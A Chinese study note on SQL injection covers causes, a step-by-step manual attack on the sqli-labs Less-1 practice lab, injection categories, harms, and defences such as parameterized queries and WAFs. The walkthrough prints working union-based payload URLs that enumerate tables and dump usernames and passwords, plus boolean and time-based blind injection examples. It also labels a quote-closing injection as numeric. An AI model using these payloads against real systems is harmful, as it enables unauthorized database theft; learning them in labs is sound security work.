SQL注入学习笔记---概述
一. 基本概念
(一)前提:
1, 前端传入后端的参数是用户可控的;
2, 传入的参数拼接到SQL语句,且带入数据库查询。
(二)成因:
由于WEB应用程序对用户输入的数据的合法性没有判断,用户通过可控参数中注入SQL语句,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为,
成因归结为两个:
1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句。
2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。
(三)过程:
从宏观角度:
从攻击者的角度
1,判断是否存在SQL注入,以及寻找SQL注入点;
测试数据不仅限于以上几种,并且还有多种变化。
例如,以sqli-labs的lesson-1为例,手工注入的过程如下:
当输入单引号’(27%)时,报错:
http://127.0.0.1/sqli-labs/Less-1/?id=1’ and 1=1 --+
http://127.0.0.1/sqli-labs/Less-1/?id=1’ and 1=2 --+
很显然,这是属于数字型显错注入。
2:猜解数据库字段数:
http://127.0.0.1/sqli-labs/Less-1/?id=1%27 order by 1 --+
当order by 3时,
当order by 4时,出错,所以有3个字段:
3:寻找可控参数
http://127.0.0.1/sqli-labs/Less-1/?id=-1%27 union select 1,2,3 --+
可见,第2,3字段为可控制字段。
4:利用可控字段,爆出数据库名:
http://127.0.0.1/sqli-labs/Less-1/?id=-1%27 union select 1,database(),3 --+
5:利用可控参数,爆出数据库中的表名:
http://127.0.0.1/sqli-labs/Less-1/?id=-1%27 union select 1,database(),group_concat(table_name)from information_schema.tables where table_schema=database() --+
6:爆出表中的字段
http://127.0.0.1/sqli-labs/Less-1/?id=-1%27 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’ --+
7:爆出字段中的内容
http://127.0.0.1/sqli-labs/Less-1/?id=-1%27 union select 1,2,group_concat(username,password) from users --+
…
当然,这只是SQL注入获取数据库敏感信息的攻击过程,针对所要达成的攻击效果,例如,获取网站权限,执行命令,获取服务器权限,有不同的方式和过程。
(四)本质:
代码与数据不区分。
二、SQL注入分类
1、参数类型分类
数字型注入:输入参数为整型时,如Id、年龄和页码等;
数字型例句如下
select * from table where id = 8
字符型注入:输入参数为字符串型时,如姓名、职业、住址等;
字符型例句如下
select * from table where name =’admin’
两者最大的区别:字符型注入一般要使用单引号进行闭合,而数字型注入则不需要。
2、注入位置分类
GET注入:注入字符在URL参数中;
POST注入:注入字段在POSt提交的数据中;
Cookie注入:注入字段在Cookie数据中,网站使用通用的防注入程序,会对GET、POST提交的数据进行过滤,却往往遗漏Cookie中的数据进行过滤。
其他注入:HTTP请求的其他内容触发的SQL注入漏洞;
3、结果反馈分类
明注入:也称报错注入,会在数据库报错时在页面显示出具体的报错内容。
盲注入:盲注入不会展现任何数据库报错内容,它是依据构造真或假的问题对数据库进行“提问”,注入方式主要有两种:基于布尔值与基于时间。
(1)布尔值
如在MySQL中判断数据名长度的输入为1’ and length(database()) = 10 #,通过相应的正确与否判断数据名的长度是否为10,猜测数据库中数据的具体内容时,可以借助SUBSTR、LIMIT、ASCII等一些特殊的命令及函数进行猜测;
(2)基于时间
基于时间的SQL盲注入方式通常是在SQL语句中添加延时函数,依据相应时间来判断是否存在SQL注入,常用的延时函数或指令有sleep、repeat等。
总结:盲注入提交SQL命令较多,通常通过手工方式无法完成,借用工具如SQLMAP。
4、其他类型
延时注入:使用延时函数方式;
搜索注入:注入点在搜索框中;
编码注入:将输入的字符串进行编码,如base64编码;
堆查询注入:同时执行多条语句;
联合查询注入:使用union操作码合并两条或多条SQL语句;
多阶注入:由多个HTTP请求响应共同完成的注入;
三、SQL注入的危害
1, 泄露数据库敏感信息;
2, 恶意的篡改网页;
3, 写入网站后门。服务器被远程控制;
4, 破坏硬盘数据、使系统瘫痪。
四. SQL注入的防御
1)开发阶段
在编码阶段需要对输入进行细致的验证,使用静态查询,如使用参数化声明。
遵循“最小权限准则”,即只赋予应用程序完成其功能的最基本权限。例如:不要使用root权限访问数据库、为数据表设定限制的可读/可写权限、慎用数据库存储过程等。
2)测试阶段
在测试阶段采用以下两种方式确保Web应用程序代码的安全性:第一,采用源代码审核方式,从编程者角度审视代码是否存在漏洞;第二,执行渗透测试,从攻击者角度检查代码的安全性。需要注意的是,尽管完成以上两步,仍不能确保100%的安全,但这两种方法对于确保应用程序质量是必须的。
3)产品化阶段
在产品化阶段,Web应用程序已经正常上线,并对外提供服务。但还是会发现Web应用存在安全隐患,此时整改代码对各类组织来说已经不现实了,因为需要付出较大代价。这时,可以部署专用的Web应用防火墙(Web Application Firewall,简称WAF),以大幅提升Web应用的安全等级。